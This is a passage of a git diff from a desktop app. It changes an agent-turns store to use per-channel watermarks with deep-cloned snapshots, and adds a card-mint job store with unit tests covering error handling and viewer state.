+    resetActiveAgentTurnsStore();
+    restoreActiveAgentTurnsForCommunity("ws-a");
+
+    // seq 7 is FRESH relative to the saved watermark (5) and must be
+    // processed — processing notifies listeners (stale events do not, per
+    // the gate). Under save-side aliasing the leaked watermark (10) wrongly
+    // skips it as stale and no notification fires.
+    let notified = 0;
+    const unsub = subscribeActiveAgentTurns(() => {
+      notified++;
+    });
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 7,
+        turnId: "t7",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:10Z",
+      }),
+    ]);
+    unsub();
+    assert.ok(
+      notified > 0,
+      "event fresh vs the SAVED watermark must be processed — a live " +
+        "watermark advancing after save must not leak into the snapshot",
+    );
+  });
+
+  it("snapshot turns are isolated — a turn started after save must not leak into the snapshot", () => {
+    // Save with one live turn on c1.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({ seq: 1, turnId: "t1", channelId: "c1" }),
+    ]);
+    saveActiveAgentTurnsForCommunity("ws-a");
+
+    // Keep working AFTER the save: a new turn on c2 mutates the same inner
+    // per-agent turns map the snapshot cloned. If save aliased that inner
+    // map instead of deep-cloning it, t2 leaks into the snapshot.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({ seq: 2, turnId: "t2", channelId: "c2" }),
+    ]);
+
+    resetActiveAgentTurnsStore();
+    restoreActiveAgentTurnsForCommunity("ws-a");
+
+    const channels = channelIdsOf(getActiveTurnsForAgent(AGENT));
+    assert.ok(channels.has("c1"), "the saved turn must restore");
+    assert.ok(
+      !channels.has("c2"),
+      "a turn started after the save must NOT appear in the restored snapshot",
+    );
+  });
+
+  it("snapshot tombstones are isolated — a terminal recorded after save must not block a legitimate post-restore resurrection", () => {
+    // Complete t1 on c1 before saving: the snapshot legitimately carries its
+    // tombstone (terminal at 00:00:10).
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 1,
+        turnId: "t1",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:00Z",
+      }),
+      makeEvent({
+        seq: 2,
+        kind: "turn_completed",
+        turnId: "t1",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:10Z",
+      }),
+    ]);
+    saveActiveAgentTurnsForCommunity("ws-a");
+
+    // AFTER the save, t2 on c2 starts and completes (terminal at 00:00:30).
+    // That records a tombstone in the same inner per-agent tombstone map the
+    // snapshot cloned — if save aliased it, t2's tombstone leaks in.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 3,
+        turnId: "t2",
+        channelId: "c2",
+        timestamp: "2024-01-01T00:00:20Z",
+      }),
+      makeEvent({
+        seq: 4,
+        kind: "turn_completed",
+        turnId: "t2",
+        channelId: "c2",
+        timestamp: "2024-01-01T00:00:30Z",
+      }),
+    ]);
+
+    resetActiveAgentTurnsStore();
+    restoreActiveAgentTurnsForCommunity("ws-a");
+
+    // Recovered liveness frames: t1's is strictly newer than its (snapshot)
+    // terminal so it revives either way — the control. t2 has NO tombstone
+    // in a properly isolated snapshot, so its frame (00:00:25, before its
+    // live-store terminal at 00:00:30) must also revive; a leaked tombstone
+    // wrongly blocks exactly this legitimate resurrection.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 5,
+        kind: "turn_liveness",
+        turnId: "t1",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:15Z",
+      }),
+      makeEvent({
+        seq: 6,
+        kind: "turn_liveness",
+        turnId: "t2",
+        channelId: "c2",
+        timestamp: "2024-01-01T00:00:25Z",
+      }),
+    ]);
+    const channels = channelIdsOf(getActiveTurnsForAgent(AGENT));
+    assert.ok(channels.has("c1"), "control: t1 revives past its own terminal");
+    assert.ok(
+      channels.has("c2"),
+      "a tombstone recorded after the save must NOT leak into the snapshot " +
+        "and block a legitimate resurrection",
     );
-    assert.ok(!channels.has("c2"), "stale event must not add a turn");
   });
 
   it("terminal tombstones are preserved — a stale liveness cannot resurrect a completed turn", () => {
diff --git a/desktop/src/features/agents/activeAgentTurnsStore.ts b/desktop/src/features/agents/activeAgentTurnsStore.ts
index 3af41ae078..15789f2c3c 100644
--- a/desktop/src/features/agents/activeAgentTurnsStore.ts
+++ b/desktop/src/features/agents/activeAgentTurnsStore.ts
@@ -29,10 +29,19 @@ const PRUNE_PAUSE_MAX_MS = 3 * 60_000;
  * Desktop default of 24 — any lower value silently evicts a live turn, dropping
  * its working badge. */
 const MAX_TURNS_PER_AGENT = 32;
-/** Cap on per-agent terminal tombstones (A's resurrection guard). Only the
- * most recently completed turns can be raced by a late liveness frame; older
- * ones are already below the watermark, so a small multiple of the live cap is
- * ample and keeps the map from growing across a long session. */
+/** Cap on per-agent terminal tombstones (A's resurrection guard). For
+ * terminals that carry the turn's channelId (turn_completed / turn_error),
+ * the (agent, channel) watermark already gates any liveness emitted before
+ * the terminal — both gate on the same channel key and within-channel order
+ * is preserved end-to-end — so those tombstones only matter briefly. The
+ * tombstones doing durable work are the ones whose creation the channel
+ * watermark does NOT witness: null-channel terminals (agent_panic gates on
+ * the null bucket) and desktop-initiated clears (`clearActiveTurnsForAgent`).
+ * Those are always the newest entries, so evicting the oldest past a small
+ * multiple of the live cap preserves them. Worst case for an evicted
+ * tombstone (a >128-completions-late liveness beating a quiet channel's
+ * watermark) is a ghost badge that the prune reaps within its normal bounds —
+ * bounded cosmetic staleness, not state corruption. */
 const MAX_TERMINAL_TOMBSTONES = MAX_TURNS_PER_AGENT * 4;
 /** Interval for pruning stale/expired turns. */
 const PRUNE_INTERVAL_MS = 5_000;
@@ -85,11 +94,36 @@ const clockOffsetByAgent = new Map<string, number>();
 const cachedTurnSummaries = new Map<string, ActiveTurnSummary[]>();
 let cachedChannelTurnSummaries: ActiveChannelTurnSummary[] | null = null;
 
-// Composite watermark per agent: the newest observer event processed, by
-// (timestamp, seq) ordering. An event is processed only if it is strictly
-// newer than this — making full-buffer replays idempotent and post-restart
-// streams (seq resets to 1, timestamp keeps climbing) handled for free.
-const lastProcessed = new Map<string, ObserverEvent>();
+// Composite watermark per (agent, channel): the newest observer event
+// processed for that channel, by (timestamp, seq) ordering. An event is
+// processed only if it is strictly newer than its channel's watermark —
+// making full-buffer replays idempotent and post-restart streams (seq resets
+// to 1, timestamp keeps climbing) handled for free.
+//
+// Keyed per channel, not per agent, because the harness's batching packer
+// preserves FIFO order only WITHIN a channel: frames for different channels
+// may publish in an order that differs from arrival order. A per-agent
+// watermark would silently skip a delayed channel's events as stale. This is
+// safe because every turn-mutating path is channel-scoped by the event's own
+// channelId (endTurn's fallback matches `turn.channelId`, resurrectTurn keys
+// on `event.channelId`), so per-channel serialization gives each channel
+// exactly the protection per-agent serialization gave the whole agent.
+//
+// Events with a null channelId (agent_panic-class) gate against a dedicated
+// per-agent bucket: the harness treats null-channel events as packing
+// barriers, so they never reorder against any channel's events.
+//
+// The other per-agent maps stay agent-keyed because they are reorder-safe:
+// `clockOffsetByAgent` is a running MINIMUM (order-insensitive by
+// construction), and `activeTurnsByAgent` / `terminalAtByAgent` are mutated
+// only through channel-scoped paths this gate serializes (see the
+// MAX_TERMINAL_TOMBSTONES doc for the tombstone-eviction analysis).
+const NULL_CHANNEL_KEY = "\u0000null-channel";
+const lastProcessed = new Map<string, Map<string, ObserverEvent>>();
+
+function watermarkChannelKey(event: ObserverEvent): string {
+  return event.channelId ?? NULL_CHANNEL_KEY;
+}
 
 // Per-agent record of when each turn terminally ended (turnId →
 // terminal-event timestamp, in agent-host clock ms). endTurn hard-deletes a
@@ -324,21 +358,36 @@ function pruneExpired() {
 function processEvent(agentPubkey: string, event: ObserverEvent) {
   const key = normalizePubkey(agentPubkey);
 
-  // Gate every event kind on the watermark uniformly: process only events
-  // strictly newer than the last one seen for this agent. With sorted buffers
-  // (the documented invariant), this makes full-buffer replays a complete
-  // no-op. Evictions must be gated too — replaying a stale turn_error/
-  // agent_panic (emitted with a null turnId) would otherwise fall back to
-  // deleting the first turn in the channel, killing the live turn. Resurrection
+  // Gate every event kind on its (agent, channel) watermark uniformly:
+  // process only events strictly newer than the last one seen for this
+  // agent+channel. With sorted buffers (the documented invariant), this makes
+  // full-buffer replays a complete no-op. Evictions must be gated too —
+  // replaying a stale turn_error/agent_panic (emitted with a null turnId)
+  // would otherwise fall back to deleting the first turn in the channel,
+  // killing the live turn; the gate is per-channel, but so is that fallback
+  // (it matches the event's own channelId), so each channel's stream is
+  // serialized against exactly the mutations it can perform. Resurrection
   // (the turn_liveness/acp case below) is gated here too: it runs only for a
-  // frame that passes the watermark, so replayed stale frames cannot revive a
-  // pruned turn, and the per-turn terminal tombstone blocks reviving a turn
-  // that already completed.
-  const last = lastProcessed.get(key);
+  // frame that passes its channel's watermark, so replayed stale frames
+  // cannot revive a pruned turn, and the per-turn terminal tombstone blocks
+  // reviving a turn that already completed.
+  //
+  // The per-agent map grows one entry per channel the agent has ever emitted
+  // on — bounded by real channel membership. Deliberately NOT capped:
+  // evicting a channel's watermark would reopen replay-processing for that
+  // channel, and a re-run stale eviction is exactly the badge-killing hazard
+  // this gate exists to prevent.
+  const channelKey = watermarkChannelKey(event);
+  let agentWatermarks = lastProcessed.get(key);
+  const last = agentWatermarks?.get(channelKey);
   if (last && compareObserverEvents(event, last) <= 0) {
     return;
   }
-  lastProcessed.set(key, event);
+  if (!agentWatermarks) {
+    agentWatermarks = new Map();
+    lastProcessed.set(key, agentWatermarks);
+  }
+  agentWatermarks.set(channelKey, event);
 
   // Refine the clock offset from every fresh event. A tighter offset shifts
   // every live anchor for this agent, so a change must reach the UI even when
@@ -630,7 +679,7 @@ export function resetActiveAgentTurnsStore() {
 type TurnsStoreSnapshot = {
   turns: Map<string, Map<string, ActiveTurn>>;
   offsets: Map<string, number>;
-  watermarks: Map<string, ObserverEvent>;
+  watermarks: Map<string, Map<string, ObserverEvent>>;
   terminals: Map<string, Map<string, number>>;
 };
 
@@ -663,9 +712,15 @@ export function saveActiveAgentTurnsForCommunity(communityId: string): void {
     turns.set(agentKey, clonedAgent);
   }
 
-  // Shallow-clone scalar maps (primitives as values).
+  // Shallow-clone the offsets map (primitives as values).
   const offsets = new Map(clockOffsetByAgent);
-  const watermarks = new Map(lastProcessed);
+
+  // Deep-clone the per-(agent, channel) watermark map: outer map + inner
+  // per-agent maps (ObserverEvent values are treated as immutable).
+  const watermarks = new Map<string, Map<string, ObserverEvent>>();
+  for (const [agentKey, channelMarks] of lastProcessed) {
+    watermarks.set(agentKey, new Map(channelMarks));
+  }
 
   // Deep-clone terminalAtByAgent: outer map + inner per-agent maps.
   const terminals = new Map<string, Map<string, number>>();
@@ -719,8 +774,8 @@ export function restoreActiveAgentTurnsForCommunity(communityId: string): void {
     clockOffsetByAgent.set(agentKey, offset);
   }
 
-  for (const [agentKey, event] of snap.watermarks) {
-    lastProcessed.set(agentKey, event);
+  for (const [agentKey, channelMarks] of snap.watermarks) {
+    lastProcessed.set(agentKey, new Map(channelMarks));
   }
 
   for (const [agentKey, tombstones] of snap.terminals) {
diff --git a/desktop/src/features/agents/cardMintStore.test.mjs b/desktop/src/features/agents/cardMintStore.test.mjs
new file mode 100644
index 0000000000..6c2f4522ab
--- /dev/null
+++ b/desktop/src/features/agents/cardMintStore.test.mjs
@@ -0,0 +1,219 @@
+import assert from "node:assert/strict";
+import { beforeEach, describe, it } from "node:test";
+
+// cardMintStore drives the non-blocking mint flow: the dialog dispatches a
+// job and closes; the composer chip, completion toast, and viewer all read
+// this store. These tests exercise the job lifecycle with an injected mintFn
+// (never the real Tauri command).
+//
+// The store imports sonner (toast); calling toast outside a mounted <Toaster>
+// only queues, so no DOM is required.
+
+import {
+  dismissCardMintJob,
+  getCardGalleryOpen,
+  getCardMintJobs,
+  getCardViewerState,
+  closeCardViewer,
+  openCardViewer,
+  resetCardMintStore,
+  runCardMintJob,
+  setCardGalleryOpen,
+  subscribeCardMintStore,
+  viewMintedCardJob,
+} from "./cardMintStore.ts";
+
+const CARD = {
+  cardPngBase64: "aGVsbG8=",
+  fileName: "eva.agent.png",
+  designerNotes: "notes",
+  locked: false,
+  memoryLevel: "none",
+};
+
+const INPUT = { agentId: "agent-1", agentName: "Eva" };
+
+describe("cardMintStore", () => {
+  beforeEach(() => {
+    resetCardMintStore();
+  });
+
+  it("forwards the mint input — including memoryLevel — to mintFn", async () => {
+    const seen = [];
+    await runCardMintJob(
+      { ...INPUT, styleNotes: "stormy", lock: true, memoryLevel: "core" },
+      (...args) => {
+        seen.push(args);
+        return Promise.resolve({ ...CARD, memoryLevel: "core" });
+      },
+    );
+    assert.deepEqual(seen, [["agent-1", "stormy", true, "core"]]);
+
+    // Omitted memoryLevel stays undefined so Rust applies its "none" default.
+    await runCardMintJob(INPUT, (...args) => {
+      seen.push(args);
+      return Promise.resolve(CARD);
+    });
+    assert.deepEqual(seen[1], ["agent-1", undefined, undefined, undefined]);
+  });
+
+  it("tracks a successful mint through minting → done", async () => {
+    let resolveMint;
+    const pending = new Promise((resolve) => {
+      resolveMint = resolve;
+    });
+    const run = runCardMintJob(INPUT, () => pending);
+
+    let jobs = getCardMintJobs();
+    assert.equal(jobs.length, 1);
+    assert.equal(jobs[0].phase, "minting");
+    assert.equal(jobs[0].input.agentName, "Eva");
+    assert.equal(jobs[0].card, null);
+
+    resolveMint(CARD);
+    await run;
+
+    jobs = getCardMintJobs();
+    assert.equal(jobs.length, 1);
+    assert.equal(jobs[0].phase, "done");
+    assert.deepEqual(jobs[0].card, CARD);
+    assert.equal(jobs[0].error, null);
+  });
+
+  it("records the error message on a failed mint", async () => {
+    await runCardMintJob(INPUT, () => Promise.reject(new Error("boom")));
+    const jobs = getCardMintJobs();
+    assert.equal(jobs.length, 1);
+    assert.equal(jobs[0].phase, "error");
+    assert.equal(jobs[0].error, "boom");
+    assert.equal(jobs[0].card, null);
+  });
+
+  it("strips the NO_OPENAI_KEY wire prefix from mint errors", async () => {
+    await runCardMintJob(INPUT, () =>
+      Promise.reject(new Error("NO_OPENAI_KEY: No OPENAI_API_KEY found.")),
+    );
+    assert.equal(getCardMintJobs()[0].error, "No OPENAI_API_KEY found.");
+  });
+
+  it("replaces a 401 HTTP error with an actionable update-key message", async () => {
+    await runCardMintJob(INPUT, () =>
+      Promise.reject(
+        new Error(
+          "Card mint failed (HTTP 401 Unauthorized): Incorrect API key provided: sk-proj-***",
+        ),
+      ),
+    );
+    const { error } = getCardMintJobs()[0];
+    assert.ok(
+      error?.includes("invalid or expired"),
+      `expected 'invalid or expired' in: ${error}`,
+    );
+    assert.ok(
+      error?.includes("Update API key"),
+      `expected 'Update API key' in: ${error}`,
+    );
+  });
+
+  it("replaces an 'Incorrect API key' error without an HTTP status code", async () => {
+    await runCardMintJob(INPUT, () =>
+      Promise.reject(new Error("Incorrect API key provided: sk-proj-***")),
+    );
+    const { error } = getCardMintJobs()[0];
+    assert.ok(
+      error?.includes("invalid or expired"),
+      `expected 'invalid or expired' in: ${error}`,
+    );
+  });
+
+  it("does not apply the 401 branch to generic non-auth errors", async () => {
+    await runCardMintJob(INPUT, () =>
+      Promise.reject(new Error("Connection timeout")),
+    );
+    assert.equal(getCardMintJobs()[0].error, "Connection timeout");
+  });
+
+  it("does not rewrite avatar fetch 401 as an API key error", async () => {
+    // Avatar fetch failures have a different error prefix — rewriting them
+    // would send the user down a path that cannot fix the avatar failure.
+    const avatarError = "Avatar fetch failed: HTTP 401 Unauthorized";
+    await runCardMintJob(INPUT, () => Promise.reject(new Error(avatarError)));
+    assert.equal(
+      getCardMintJobs()[0].error,
+      avatarError,
+      "avatar 401 must pass through unchanged",
+    );
+  });
+
+  it("viewMintedCardJob moves a done job into the viewer and clears the chip", async () => {
+    await runCardMintJob(INPUT, () => Promise.resolve(CARD));
+    const jobId = getCardMintJobs()[0].jobId;
+
+    viewMintedCardJob(jobId);
+
+    assert.equal(getCardMintJobs().length, 0);
+    const viewer = getCardViewerState();
+    assert.ok(viewer);
+    assert.equal(viewer.agentName, "Eva");
+    assert.deepEqual(viewer.card, CARD);
+    // Fresh mints keep their input so the viewer can reroll.
+    assert.deepEqual(viewer.remint, INPUT);
+  });
+
+  it("viewMintedCardJob ignores jobs that are still minting", () => {
+    let resolveMint;
+    void runCardMintJob(
+      INPUT,
+      () => new Promise((resolve) => (resolveMint = resolve)),
+    );
+    const jobId = getCardMintJobs()[0].jobId;
+
+    viewMintedCardJob(jobId);
+
+    assert.equal(getCardMintJobs().length, 1);
+    assert.equal(getCardViewerState(), null);
+    resolveMint(CARD); // avoid a dangling promise
+  });
+
+  it("dismissCardMintJob removes only the named job", async () => {
+    await runCardMintJob(INPUT, () => Promise.reject(new Error("a")));
+    await runCardMintJob({ agentId: "agent-2", agentName: "Wren" }, () =>
+      Promise.reject(new Error("b")),
+    );
+    const [first, second] = getCardMintJobs();
+
+    dismissCardMintJob(first.jobId);
+
+    const jobs = getCardMintJobs();
+    assert.equal(jobs.length, 1);
+    assert.equal(jobs[0].jobId, second.jobId);
+  });
+
+  it("openCardViewer/closeCardViewer manage archive views without remint", () => {
+    openCardViewer({ card: CARD, agentName: "Eva", remint: null });
+    assert.equal(getCardViewerState()?.remint, null);
+    closeCardViewer();
+    assert.equal(getCardViewerState(), null);
+  });
+
+  it("gallery open flag toggles and notifies subscribers", () => {
+    let notified = 0;
+    const unsubscribe = subscribeCardMintStore(() => {
+      notified += 1;
+    });
+    setCardGalleryOpen(true);
+    assert.equal(getCardGalleryOpen(), true);
+    setCardGalleryOpen(true); // no-op must not notify
+    setCardGalleryOpen(false);
+    assert.equal(getCardGalleryOpen(), false);
+    assert.equal(notified, 2);
+    unsubscribe();
+  });
+
+  it("concurrent jobs keep distinct snapshots (referential updates)", async () => {
+    const before = getCardMintJobs();
+    await runCardMintJob(INPUT, () => Promise.resolve(CARD));
+    const after = getCardMintJobs();
+    assert.notEqual(before, after, "snapshot identity must change on update");
+  });
+});
diff --git a/desktop/src/features/agents/cardMintStore.ts b/desktop/src/features/agents/cardMintStore.ts
new file mode 100644
index 0000000000..c38bf393cc
--- /dev/null
+++ b/desktop/src/features/agents/cardMintStore.ts
@@ -0,0 +1,236 @@
+import * as React from "react";
+import { toast } from "sonner";
+
+import {
+  mintAgentCard,
+  NO_OPENAI_KEY_PREFIX,
+  type MintedAgentCard,
+  type SnapshotMemoryLevel,
+} from "@/shared/api/tauriPersonas";
+
+/**
+ * Module store for agent-card mints (`useSyncExternalStore` pattern, same as
+ * `avatarPresentationStore`).
+ *
+ * A mint is one stateless ~2–3 minute Rust call. Owning the in-flight promise
+ * here — instead of inside the mint dialog — is what makes the dialog
+ * non-blocking: it dispatches and closes, the composer activity rail shows a
+ * live "Minting card…" chip, and completion lands as a clickable toast plus a
+ * persistent "card ready" chip, none of which need the dialog mounted.
+ */
+
+/** Everything needed to run (or re-run) one mint. */
+export type CardMintInput = {
+  agentId: string;
+  agentName: string;
+  styleNotes?: string;
+  lock?: boolean;
+  /** Memory to embed in the card's snapshot. Omitted = "none". */
+  memoryLevel?: SnapshotMemoryLevel;
+};
+
+export type CardMintJob = {
+  jobId: string;
+  input: CardMintInput;
+  phase: "minting" | "done" | "error";
+  /** Populated when phase is "done". */
+  card: MintedAgentCard | null;
+  /** Populated when phase is "error". */
+  error: string | null;
+  startedAt: number;
+};
+
+/** Card content shown by the global viewer dialog. */
+export type CardViewerState = {
+  card: MintedAgentCard;
+  agentName: string;
+  /**
+   * Present when the card can be rerolled (fresh mints carry their input;
+   * archive views do not — the original style notes are gone).
+   */
+  remint: CardMintInput | null;
+  /**
+   * Monotonic per-open sequence, assigned by the store. The viewer keys its
+   * content on this so switching cards remounts (resetting recipients/menu
+   * state) — card bytes can't serve as the key because every card PNG shares
+   * the same header prefix and dimensions.
+   */
+  viewerSeq: number;
+};
+
+let jobs: CardMintJob[] = [];
+let viewer: CardViewerState | null = null;
+let galleryOpen = false;
+const listeners = new Set<() => void>();
+let nextJobId = 1;
+let nextViewerSeq = 1;
+
+function emitChange(): void {
+  for (const listener of listeners) listener();
+}
+
+function updateJob(jobId: string, patch: Partial<CardMintJob>): void {
+  jobs = jobs.map((job) => (job.jobId === jobId ? { ...job, ...patch } : job));
+  emitChange();
+}
+
+/**
+ * Run one mint as a background job. `mintFn` is injectable for tests; the
+ * public `startCardMint` binds the real Tauri command.
+ */
+export async function runCardMintJob(
+  input: CardMintInput,
+  mintFn: (
+    id: string,
+    styleNotes?: string,
+    lock?: boolean,
+    memoryLevel?: SnapshotMemoryLevel,
+  ) => Promise<MintedAgentCard>,
+): Promise<void> {
+  const jobId = `card-mint-${nextJobId++}`;
+  jobs = [
+    ...jobs,
+    {
+      jobId,
+      input,
+      phase: "minting",
+      card: null,
+      error: null,
+      startedAt: Date.now(),
+    },
+  ];
+  emitChange();
+
+  try {
+    const card = await mintFn(
+      input.agentId,
+      input.styleNotes,
+      input.lock,
+      input.memoryLevel,
+    );
+    updateJob(jobId, { phase: "done", card });
+    toast.success(`${input.agentName}'s card is ready`, {
+      action: {
+        label: "View card",
+        onClick: () => viewMintedCardJob(jobId),
+      },
+      duration: 10_000,
+    });
+  } catch (error) {
+    let message = error instanceof Error ? error.message : "Card mint failed.";
+    if (message.startsWith(NO_OPENAI_KEY_PREFIX)) {
+      // The dialog pre-checks the key, so this only happens when the key was
+      // removed between dialog-open and mint. The dialog's key-setup panel is
+      // long gone — surface a plain instruction instead of the wire prefix.
+      message = message.slice(NO_OPENAI_KEY_PREFIX.length).trim();
+    } else if (
+      message.startsWith("Card mint failed (HTTP 401 ") ||
+      message.includes("Incorrect API key")
+    ) {
+      // The saved OpenAI key is invalid or expired. Only match the OpenAI-call
+      // envelope prefix and the specific Incorrect-API-key message to avoid
+      // rewriting unrelated 401s (e.g. "Avatar fetch failed: HTTP 401 …").
+      message =
+        'The OpenAI API key is invalid or expired. Open the mint dialog and use "Update API key" to replace it.';
+    }
+    updateJob(jobId, { phase: "error", error: message });
+    toast.error(`Minting ${input.agentName}'s card failed`, {
+      description: message,
+    });
+  }
+}
+
+/** Start a mint in the background. Fire-and-forget; state flows via the store. */
+export function startCardMint(input: CardMintInput): void {
+  void runCardMintJob(input, mintAgentCard);
+}
+
+/** Open the finished card of a job in the viewer and clear its rail chip. */
+export function viewMintedCardJob(jobId: string): void {
+  const job = jobs.find((candidate) => candidate.jobId === jobId);
+  if (job?.phase !== "done" || !job.card) return;
+  viewer = {
+    card: job.card,
+    agentName: job.input.agentName,
+    remint: job.input,
+    viewerSeq: nextViewerSeq++,
+  };
+  jobs = jobs.filter((candidate) => candidate.jobId !== jobId);
+  emitChange();
+}
+
+/** Remove a job chip (used for error dismissal). */
+export function dismissCardMintJob(jobId: string): void {
+  const next = jobs.filter((candidate) => candidate.jobId !== jobId);
+  if (next.length === jobs.length) return;
+  jobs = next;
+  emitChange();
+}
+
+/** Open the viewer on an arbitrary card (e.g. one loaded from the archive). */
+export function openCardViewer(
+  state: Omit<CardViewerState, "viewerSeq">,
+): void {
+  viewer = { ...state, viewerSeq: nextViewerSeq++ };
+  emitChange();
+}
+
+export function closeCardViewer(): void {
+  if (!viewer) return;
+  viewer = null;
+  emitChange();
+}
+
+export function setCardGalleryOpen(open: boolean): void {
+  if (galleryOpen === open) return;
+  galleryOpen = open;
+  emitChange();
+}
+
+export function resetCardMintStore(): void {
+  jobs = [];
+  viewer = null;
+  galleryOpen = false;
+  emitChange();
+}
+
+export function getCardMintJobs(): CardMintJob[] {
+  return jobs;
+}
+
+export function getCardViewerState(): CardViewerState | null {
+  return viewer;
+}
+
+export function getCardGalleryOpen(): boolean {
+  return galleryOpen;
+}
+
+export function subscribeCardMintStore(listener: () => void): () => void {
+  listeners.add(listener);
+  return () => listeners.delete(listener);
+}
+
+export function useCardMintJobs(): CardMintJob[] {
+  return React.useSyncExternalStore(
+    subscribeCardMintStore,
+    getCardMintJobs,
+    getCardMintJobs,
+  );
+}
+
+export function useCardViewerState(): CardViewerState | null {
+  return React.useSyncExternalStore(
+    subscribeCardMintStore,
+    getCardViewerState,
+    getCardViewerState,
+  );
+}
+
+export function useCardGalleryOpen(): boolean {
+  return React.useSyncExternalStore(
+    subscribeCardMintStore,
+    getCardGalleryOpen,
+    getCardGalleryOpen,
+  );
+}
diff --git a/desktop/src/features/agents/hooks.ts b/desktop/src/features/agents/hooks.ts
index 122c872e54..b3d4c5315e 100644
--- a/desktop/src/features/agents/hooks.ts
+++ b/desktop/src/features/agents/hooks.ts
@@ -33,6 +33,7 @@ import {
   getManagedAgentLog,
   getRuntimeFileConfig,
   installAcpRuntime,
+  invokeTauri,
   listManagedAgents,
   listRelayAgents,
   saveCustomHarness,
@@ -647,6 +648,12 @@ export function useAttachManagedAgentToChannelMutation(
           pubkey: result.agent.pubkey,
         }),
       );
+      void invokeTauri("sync_agents_to_active_huddle", {
+        channelId: effectiveChannelId,
+        agentPubkeys: [result.agent.pubkey],
+      }).catch((error) => {
+        console.warn("Could not sync attached agent into Huddle:", error);
+      });
     },
     onSettled: (_data, _err, variables) => {
       // Invalidate the effective channel (the one the server actually mutated)
@@ -939,7 +946,6 @@ export function useRuntimeFileConfigQuery(
 
 export const bakedBuildEnvKeysQueryKey = ["baked-build-env-keys"] as const;
 export const bakedBuildEnvQueryKey = ["baked-build-env"] as const;
-
 /**
  * Query safely displayable baked build env entries. The backend masks secrets,
  * so this is only used for inherited provider/model/effort labels.
diff --git a/desktop/src/features/agents/ingestArchivedObserverEvents.test.mjs b/desktop/src/features/agents/ingestArchivedObserverEvents.test.mjs
index c44c2a88e0..343ce24133 100644
--- a/desktop/src/features/agents/ingestArchivedObserverEvents.test.mjs
+++ b/desktop/src/features/agents/ingestArchivedObserverEvents.test.mjs
@@ -1106,4 +1106,84 @@ describe("raw-event-level merge: stateful aggregates across live/archive boundar
     );
     assert.equal(latestMs, Date.parse(TIMESTAMP));
   });
+
+  it("test_batch_envelope_inner_events_route_by_channel_id", async () => {
+    // A kind:"batch" envelope from the 1/s observer pacer must be unwrapped on
+    // the archive-ingest seam: inner events with a channelId land in the
+    // channel-scoped archive window, inner events without one fall through to
+    // the per-agent live store — and the envelope itself is never stored.
+    _testRegisterKnownAgents(SUB_ID, [AGENT_PUBKEY]);
+    const CHANNEL = "chan-batch";
+
+    const channelInner = makeObserverEvent({
+      seq: 21,
+      timestamp: "2026-01-01T00:21:00.000Z",
+      channelId: CHANNEL,
+    });
+    const liveInner = makeObserverEvent({
+      seq: 22,
+      timestamp: "2026-01-01T00:21:01.000Z",
+      channelId: null,
+      sessionId: null,
+    });
+    // Envelope metadata mirrors the last inner event (production shape).
+    const envelope = makeObserverEvent({
+      seq: 22,
+      timestamp: "2026-01-01T00:21:01.000Z",
+      kind: "batch",
+      channelId: CHANNEL,
+      payload: { events: [channelInner, liveInner] },
+    });
+
+    await ingestArchivedObserverEvents([makeRawEvent()], makeDecrypt(envelope));
+
+    const archived = _testGetArchivedChannelEvents(AGENT_PUBKEY, CHANNEL);
+    assert.equal(
+      archived.length,
+      1,
+      "channelId inner event must land in the archive window",
+    );
+    assert.equal(archived[0].seq, 21);
+    assert.equal(archived[0].kind, "acp_write");
+
+    const snap = getAgentObserverSnapshot(AGENT_PUBKEY, true);
+    assert.equal(
+      snap.events.length,
+      1,
+      "null-channelId inner event must land in the live store",
+    );
+    assert.equal(snap.events[0].seq, 22);
+    assert.notEqual(
+      snap.events[0].kind,
+      "batch",
+      "the batch envelope itself must never be stored",
+    );
+  });
+
+  it("test_malformed_batch_envelope_degrades_to_itself", async () => {
+    // A kind:"batch" envelope with no events array (harness bug shape) must
+    // degrade to the envelope itself rather than being silently dropped, so a
+    // batching defect stays visible in the session viewer.
+    _testRegisterKnownAgents(SUB_ID, [AGENT_PUBKEY]);
+    const CHANNEL = "chan-malformed-batch";
+
+    const envelope = makeObserverEvent({
+      seq: 31,
+      timestamp: "2026-01-01T00:31:00.000Z",
+      kind: "batch",
+      channelId: CHANNEL,
+      payload: {},
+    });
+
+    await ingestArchivedObserverEvents([makeRawEvent()], makeDecrypt(envelope));
+
+    const archived = _testGetArchivedChannelEvents(AGENT_PUBKEY, CHANNEL);
+    assert.equal(
+      archived.length,
+      1,
+      "malformed envelope must be stored as itself, not dropped",
+    );
+    assert.equal(archived[0].kind, "batch");
+    assert.equal(archived[0].seq, 31);
+  });
 });
diff --git a/desktop/src/features/agents/lib/agentAutocompleteEligibility.test.mjs b/desktop/src/features/agents/lib/agentAutocompleteEligibility.test.mjs
index 9e2c8683ab..2cb2068d51 100644
--- a/desktop/src/features/agents/lib/agentAutocompleteEligibility.test.mjs
+++ b/desktop/src/features/agents/lib/agentAutocompleteEligibility.test.mjs
@@ -3,11 +3,15 @@ import test from "node:test";
 
 import {
   coalesceAgentAutocompleteCandidates,
+  filterCachedAgentSuggestions,
   getMentionableAgentPubkeys,
   getSharedChannelIds,
-  isAgentIdentityDiscoverable,
+  isAgentIdentityInAllowedList,
+  isAgentMentionChannelType,
+  relayAgentCanRespondInChannel,
   relayAgentIsSharedWithUser,
   shouldHideAgentFromMentions,
+  uniqueAutocompleteLabels,
 } from "./agentAutocompleteEligibility.ts";
 
 const CURRENT_PUBKEY = "a".repeat(64);
@@ -106,8 +110,30 @@ test("relayAgentIsSharedWithUser: accepts allowlist agents for the current user"
   );
 });
 
+test("relayAgentCanRespondInChannel: requires exact channel membership and viewer access", () => {
+  const agent = {
+    respondTo: "allowlist",
+    respondToAllowlist: [CURRENT_PUBKEY],
+    channelIds: ["general"],
+  };
+
+  assert.equal(
+    relayAgentCanRespondInChannel(agent, "general", CURRENT_PUBKEY),
+    true,
+  );
+  assert.equal(
+    relayAgentCanRespondInChannel(agent, "other", CURRENT_PUBKEY),
+    false,
+  );
+  assert.equal(
